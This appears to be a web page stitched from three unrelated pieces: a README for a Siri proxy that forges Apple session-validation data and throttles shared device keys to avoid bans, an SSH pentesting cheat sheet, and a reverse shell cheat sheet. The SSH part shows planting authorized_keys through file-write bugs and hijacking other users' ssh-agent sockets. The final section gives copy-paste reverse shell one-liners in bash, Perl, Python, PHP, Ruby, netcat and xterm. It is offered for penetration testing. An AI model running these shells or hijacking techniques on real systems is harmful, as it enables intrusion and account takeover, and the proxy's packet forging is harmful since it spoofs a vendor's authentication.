The Three Little Pigs Siri Proxy

The Three Little Pigs Siri Proxy
This Server is based on @kmsbueromoebel proxy combined with Plamoni's Siri Proxy

Give them also gredits for this project

OS: Linux Prefered and tested
Language: Ruby/PHP
Database support: My SQL
Demo-site: down for now!

Version 0.8b

*Updated with new Web-Interface! Thanks to @WouterDS
**Updated with plugins thanks to @thpryrchn

Features

Plugins api and config capable (NEW). Now Enjoy Your new plugins!
E-Mail Notifications! (New)
MySql Database connection support: Supports MySQL database connection for storing configuration,keys and runtime statistics.
Multiple key support: You can connect more than 1 iPhone4S and store even more keys. The more the keys, the more the clients!
Key Throttling: Each client uses a different key, if more than one Keys are available. The throttler makes sure that each Key is throttled thus enabling several client registration and assistant object creation.
KeyLoad Safeguard: Never worry about how many people use your iPhone4S key. Each Key has a maximum keyload. Even when the key is still valid, if the keyload limit is exceeded, the safeguard disables the key and protects the iPhone4S from getting banned.
KeyLoad Aware: Checks what key is not "Hot" anymore and periodically decreases the load, thus re-enabling Safeguarded Keys
Web interface and monitoring: Always know what is happening without a CLI! With a web interface you can check statistics such as active connections, valid keys, server load, keyload etc.
One certificate for all devices: Both Siri Capable devices (currently only iPhone4s) and older devices are using the same certificate and the same port (443 default for SSL)
One instance of the server: Due to one certificate you can run only one instance of the server.
Bug Free (I hope...):-) Never worry if the server has crashed. Most of the bugs that were causing the server to crash are fixed now.

Intro and how it works

This server uses a very simple but clever and precatius tactic to server a larger number of devices and at the same time protects the key.

I editing and forked @kmsbueromoebel 's server just because Apple followed a very bad tactic. That was Siri assistant software restriction to older devices, done only for marketing reason (my humble opinion).

So lets get to the point how does this work?

Step 1:

Lets say two Siri Capable Devices (currently only iPhone4s) connect to server. The server saves the keys on the Database.

Each key has assistantid,speechid, sessionValidationData,expired,keyload and date_added columns. Lets see what they are about:

assistantid - The assistant identifier. Unique for each device. In other words this defines your Siri and how it responds. eg. If I gave you my assistantid then Siri would get confused and sometimes respond to you with my nickname. Ugly.
Although it's stored on the database its not used. Each older device that connects on the server creates a new assistantid via using the sessionValidationData.
speechid - The speech identifier. Again unique for each device like above.
sessionValidationData - The most importand field and the only thing needed for using siri on older devices. These validation data is a big string that gets generated every 24 hours on Siri Capable Devices via FairPlayed. These validation data allow only a small number of assistant's to be created and are somehow linked to the original Siri Capable Device
expired - It changed to true when the sessionValidation Data (mentioned above) expire. Default value="False" as enum
keyload - How much the key has been used. The default values is 0 and the maximum value is 1000. Each time a device connects and makes a session the keyload increases by 10. So each key can serve up to 100 connection sessions until it gets overloaded and pauses up for a period of time

Ok the keys are saved what now?

Each time a older device connects, the server finds the key with the least keyload and uses that to forge the packets with the sessionValidationData in order to be accepted by guzzoni.apple.com (Apple's siri servers)
Each older device that connects uses the sessionValidationData to create a assistant.
After the assistant is created it can use siri via the proxy for speech recognition and views creation.
When one of the keys are overloaded (reaches the keyload max values) the server then does not forge the packets thus stops misusement of the key.
After 15 minutes of the overloaded key drops -100 lets another 10 sessions to be created and so on until the key expires.
This helps a lot to pretend that its a normal everyday use (with some finetuning to the above values and limits) and spoofing/securing the Siri Capable Devices.
Also a webgui can help you monitor the active concurrent connections, and all the above in realtime. You can forget ssh'ing to your VPS and using screen to view how the server is doing.

Tutorial: Get the Pigs Up and Running

For a tutorial please refer to my github here

Enjoy!!!!!

That's it. If you like this project please support my work and others work by donations.

Dont forget to say a big thanks to @WouterDS who created the web-interface and @thpryrchn for the rake and gem guide

Credits,greetings and big thanks to all the following... (in line of order)
RESPECT

SSH Cheat Sheet

SSH has several features that are useful during pentesting and auditing. This page aims to remind us of the syntax for the most useful features.

NB: This page does not attempt to replace the man page for pentesters, only to supplement it with some pertinent examples.

SOCKS Proxy

Set up a SOCKS proxy on 127.0.0.1:1080 that lets you pivot through the remote host (10.0.0.1):

Command line:

ssh -D 127.0.0.1:1080 10.0.0.1

~/.ssh/config:

Host 10.0.0.1
DynamicForward 127.0.0.1:1080

You can then use tsocks or similar to use non-SOCKS-aware tools on hosts accessible from 10.0.0.1:

tsocks rdesktop 10.0.0.2

Local Forwarding

Make services on the remote network accessible to your host via a local listener.

NB: Remember that you need to be root to bind to TCP port <1024. Higher ports are used in the examples below.

Example 1

The service running on the remote host on TCP port 1521 is accessible by connecting to 10521 on the SSH client system.

Command line:

ssh -L 127.0.0.1:10521:127.0.0.1:1521 user@10.0.0.1

~/.ssh/config:

LocalForward 127.0.0.1:10521 127.0.0.1:1521

Example 2

Same thing, but other hosts on the same network as the SSH client can also connect to the remote service (can be insecure).

Command line:

ssh -L 0.0.0.0:10521:127.0.0.1:1521 10.0.0.1

~/.ssh/config:

LocalForward 0.0.0.0:10521 127.0.0.1:1521

Example 3

In this example, 10.0.0.99 is a host that’s accessible from the SSH server. We can access the service it’s running on TCP port 1521 by connecting to 10521 on the SSH client.

Command line:

ssh -L 127.0.0.1:10521:10.0.0.99:1521 10.0.0.1

~/.ssh/config:

LocalForward 127.0.0.1:10521 10.0.0.99:1521

Remote Forwarding

Make services on your local system / local network accessible to the remote host via a remote listener. This sounds like an odd thing to want to do, but perhaps you want to expose a services that lets you download your tools.

NB: Remember that you need to be root to bind to TCP port <1024. Higher ports are used in the examples below.

Example 1

The SSH server will be able to access TCP port 80 on the SSH client by connecting to 127.0.0.1:8000 on the SSH server.

Command line:

ssh -R 127.0.0.1:8000:127.0.0.1:80 10.0.0.1

~/.ssh/config:

RemoteForward 127.0.0.1:8000 127.0.0.1:80

Example 2

The SSH server will be able to access TCP port 80 on 172.16.0.99 (a host accessible from the SSH client) by connecting to 127.0.0.1:8000 on the SSH server.

Command line:

ssh -R 127.0.0.1:8000:172.16.0.99:80 10.0.0.1

~/.ssh/config:

RemoteForward 127.0.0.1:8000 172.16.0.99:80

Example 3

The SSH server will be able to access TCP port 80 on 172.16.0.99 (a host accessible from the SSH client) by connecting to TCP port 8000 on the SSH server. Any other hosts able to connect to TCP port 8000 on the SSH server will also be able to access 172.16.0.99:80. This can sometimes be insecure.

Command line:

ssh -R 0.0.0.0:8000:172.16.0.99:80 10.0.0.1

~/.ssh/config:

RemoteForward 0.0.0.0:8000 172.16.0.99:80

Configuration Files

~/.ssh/config

It’s sometimes easier to configure options on your SSH client system in ~/.ssh/config for hosts you use a lot rather than having to type out long command lines.

Using ~/.ssh/config also makes it easier to use other tools that use SSH (e.g. scp and rsync). It’s possible to tell other tools that SSH listens on a different port, but it’s a pain.

Host 10.0.0.1
Port 2222
User ptm
ForwardX11 yes
DynamicForward 127.0.0.1:1080
RemoteForward 80 127.0.0.1:8000
LocalForward 1521 10.0.0.99:1521

The above lines are explained more fully in the other subsection on this page.

~/.ssh/authozied_keys

During a pentest or audit, you might want to add an authorized_keys file to let you log in using an SSH key.

The authorized_keys file lives in a user’s home directory on the SSH server. It holds the public keys of the users allowed to log into that user’s account.

Generate a public/private key pair like this:

ssh-keygen -f mykey
cat mykey.pub # you can copy this to authorized_keys

If you want to shortest possible key (because your arbitrary-file-write vector is limited), do this:

ssh-keygen -f mykey -t rsa -b 768
cat mykey.pub # copy to authorized_key.  Omit the trailing user@host if you need a shorter key.

Connect to the target system like this (you need to know the username of the user you added an authorized key for):

ssh -i mykey user@10.0.0.1

Caveat: The authorized_keys file might not work if it’s writable by other users. If you already have shell access you can “chmod 600 ~/.ssh/authorized_keys”. However, if you’re remotely exploiting an arbitrary file-write vulnerability and happen to have a weak umask, you may have problems.

X11 Forwarding

If your SSH client is also an X-Server then you can launch X-clients (e.g. Firefox) inside your SSH session and display them on your X-Server. This works well with from Linux X-Servers and from cygwin‘s X-server on Windows.

Command Line:

SSH -X 10.0.0.1
SSH -Y 10.0.0.1 # less secure alternative - but faster

~/.ssh/config:

ForwardX11 yes
ForwardX11Trusted yes # less secure alternative - but faster

SSH Agents

SSH agents can be used to hold your private SSH keys in memory. The agent will then authenticate you to any hosts that trust your SSH key.

This has the following advantages:

You don’t have to keep entering your passphrase (if you chose to encrypt your private key)
But you still get to store your private SSH key in an encrypted format on disk.

Using an SSH agent is probably more secure than storing your key in cleartext, but agents can be hijacked.

Using an SSH Agent

First start your agent:

eval `ssh-agent`

Then add your keys to it – you’ll need to enter your passphrase for any encrypted keys:

ssh-add ~/dir/mykey

Hijacking SSH Agents

If you see SSH agents running on a pentest (process called “ssh-agent”), you might be able to use it to authenticate you to other hosts – or other accounts on that host. Check out ~/.ssh/known_hosts for some ideas of where you might be able to connect to.

You can use any agents running under the account you compromised. If you’re root you can use any SSH agent.

SSH agents listen on a unix socket. You need to figure where this is for each agent (e.g. /tmp/ssh-tqiEl28473/agent.28473). You can then use the agent like this:

export  SSH_AUTH_SOCK=/tmp/ssh-tqiEl28473/agent.28473
ssh-add -l # lists the keys loaded into the agent
ssh user@host # will authenticate you if server trusts key in agent

This command illustrates how you could inspect the environment of every ssh-agent process on a Linux system. It should yield a list of unix sockets for SSH agents.

ps auxeww | grep ssh-agent | grep SSH_AUTH_SOCK | sed 's/.*SSH_AUTH_SOCK=//' | cut -f 1 -d ' '

Agent Forwarding

If you enable SSH agent forwarding then you’ll be able to carry on using the SSH agent on your SSH client during your session on the SSH server. This is potentially insecure because so will anyone else who is root on the SSH server you’re connected to. Avoid using this feature with any keys you care about.

Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

xterm

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip